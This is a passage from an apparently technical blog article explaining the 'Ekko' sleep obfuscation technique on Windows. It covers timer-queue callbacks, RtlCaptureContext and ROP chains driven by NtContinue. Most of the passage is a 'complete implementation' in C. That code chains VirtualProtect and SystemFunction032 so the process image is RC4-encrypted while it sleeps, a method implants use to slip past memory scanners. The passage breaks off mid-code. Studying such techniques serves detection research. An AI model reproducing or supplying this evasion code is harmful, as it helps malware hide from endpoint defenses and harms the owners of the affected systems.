    &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;hEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Wait 50 ms&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ekko cleverly uses &lt;code&gt;RtlCaptureContext&lt;/code&gt; as the Timer Queue callback function. Its prototype is &lt;code&gt;VOID RtlCaptureContext(PCONTEXT)&lt;/code&gt;, which happens to match the &lt;code&gt;WAITORTIMERCALLBACK&lt;/code&gt; signature (its calling convention is compatible with &lt;code&gt;VOID CALLBACK(PVOID, BOOLEAN)&lt;/code&gt;). The first parameter &lt;code&gt;Parameter&lt;/code&gt; (i.e., &lt;code&gt;&amp;amp;CtxThread&lt;/code&gt;) is interpreted by &lt;code&gt;RtlCaptureContext&lt;/code&gt; as a &lt;code&gt;PCONTEXT&lt;/code&gt;, thereby capturing the timer thread's context.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The 50 ms timeout in &lt;code&gt;WaitForSingleObject(hEvent, 0x32)&lt;/code&gt; here ensures the timer callback has enough time to complete the context capture.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  5.3 ROP Chain Orchestration
&lt;/h3&gt;

&lt;p&gt;All 6 CONTEXT structures are copied from the &lt;code&gt;CtxThread&lt;/code&gt; template and then have their key fields modified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// ... for each CONTEXT, set Rip (target function) and Rcx/Rdx/R8/R9 (arguments)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This "template copy" approach ensures that all context state other than &lt;code&gt;Rip&lt;/code&gt; and the argument registers (segment registers, floating-point registers, etc.) remains consistent, reducing the risk of exceptions when &lt;code&gt;NtContinue&lt;/code&gt; executes.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Timer Registration and Execution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// ... registered in order, with DueTime increasing by 100 ms&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All six timers use &lt;code&gt;NtContinue&lt;/code&gt; as their callback function, with the corresponding &lt;code&gt;CONTEXT&lt;/code&gt; structure pointer as the parameter. When a timer expires, the timer thread calls &lt;code&gt;NtContinue(CONTEXT*)&lt;/code&gt;; the system restores that context and jumps to the function specified by &lt;code&gt;Rip&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Complete Example Code
&lt;/h3&gt;

&lt;p&gt;Below is the complete Ekko implementation, covering all the key elements described above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// Data structure definitions&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;// String structure required by SystemFunction032&lt;/span&gt;
&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;USTRING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Common handle macro&lt;/span&gt;
&lt;span class="cp"&gt;#define NtCurrentProcess()  ((HANDLE)(LONG_PTR)-1)
&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// EkkoObf - Sleep Obfuscation core function&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;VOID&lt;/span&gt; &lt;span class="nf"&gt;EkkoObf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;SleepTime&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// --- Thread context: the template captured via RtlCaptureContext ---&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;CtxThread&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="c1"&gt;// --- 6 ROP chain contexts, each representing one function call ---&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;RopProtRW&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;   &lt;span class="c1"&gt;// VirtualProtect    → PAGE_READWRITE&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;RopMemEnc&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;   &lt;span class="c1"&gt;// SystemFunction032 → RC4 encrypt&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;RopDelay&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;   &lt;span class="c1"&gt;// WaitForSingleObject → sleep&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;RopMemDec&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;   &lt;span class="c1"&gt;// SystemFunction032 → RC4 decrypt&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;RopProtRX&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;   &lt;span class="c1"&gt;// VirtualProtect    → PAGE_EXECUTE_READWRITE&lt;/span&gt;
    &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;RopSetEvt&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;   &lt;span class="c1"&gt;// SetEvent → wake the main thread&lt;/span&gt;

    &lt;span class="n"&gt;HANDLE&lt;/span&gt;  &lt;span class="n"&gt;hTimerQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;HANDLE&lt;/span&gt;  &lt;span class="n"&gt;hNewTimer&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;HANDLE&lt;/span&gt;  &lt;span class="n"&gt;hEvent&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;ImageBase&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;ImageSize&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;OldProtect&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// RC4 key (16 bytes; should be randomly generated in real deployments)&lt;/span&gt;
    &lt;span class="n"&gt;CHAR&lt;/span&gt;    &lt;span class="n"&gt;KeyBuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="n"&gt;USTRING&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="n"&gt;USTRING&lt;/span&gt; &lt;span class="n"&gt;Img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;NtContinue&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;SysFunc032&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// ==========================================================&lt;/span&gt;
    &lt;span class="c1"&gt;// Step 1: Initialize handles and resolve function addresses&lt;/span&gt;
    &lt;span class="c1"&gt;// ==========================================================&lt;/span&gt;
    &lt;span class="n"&gt;hEvent&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateEventW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;hTimerQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CreateTimerQueue&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// NtContinue: restores a CONTEXT structure; equivalent to an arbitrary function call&lt;/span&gt;
    &lt;span class="n"&gt;NtContinue&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;GetModuleHandleA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"Ntdll"&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"NtContinue"&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// SystemFunction032: the RC4 encrypt/decrypt function exported by Advapi32&lt;/span&gt;
    &lt;span class="n"&gt;SysFunc032&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"Advapi32"&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"SystemFunction032"&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// ==========================================================&lt;/span&gt;
    &lt;span class="c1"&gt;// Step 2: Obtain the base and size of the current process image&lt;/span&gt;
    &lt;span class="c1"&gt;// ==========================================================&lt;/span&gt;
    &lt;span class="n"&gt;ImageBase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetModuleHandleA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;ImageSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PIMAGE_NT_HEADERS&lt;/span&gt; &lt;span class="p"&gt;)(&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PIMAGE_DOS_HEADER&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;ImageBase&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;e_lfanew&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;OptionalHeader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SizeOfImage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Fill the USTRING structures describing the memory region to encrypt/decrypt&lt;/span&gt;
    &lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;KeyBuf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;Img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// ==========================================================&lt;/span&gt;
    &lt;span class="c1"&gt;// Step 3: Capture the timer thread context (as the ROP chain template)&lt;/span&gt;
    &lt;span class="c1"&gt;// ==========================================================&lt;/span&gt;
    &lt;span class="c1"&gt;// Use RtlCaptureContext as the Timer Queue callback;&lt;/span&gt;
    &lt;span class="c1"&gt;// DueTime=0 means it fires immediately; the callback runs on the timer thread&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;RtlCaptureContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="c1"&gt;// Callback&lt;/span&gt;
            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;              &lt;span class="c1"&gt;// Parameter = output CONTEXT&lt;/span&gt;
            &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                    &lt;span class="c1"&gt;// DueTime=0, Period=0&lt;/span&gt;
            &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Wait 50 ms to ensure the context capture has completed&lt;/span&gt;
        &lt;span class="n"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;hEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// ======================================================&lt;/span&gt;
        &lt;span class="c1"&gt;// Step 4: Build the 6 ROP chains from the captured context template&lt;/span&gt;
        &lt;span class="c1"&gt;// ======================================================&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopDelay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopMemDec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopSetEvt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;CtxThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// ----- ROP 1: VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &amp;amp;OldProtect) -----&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;  &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
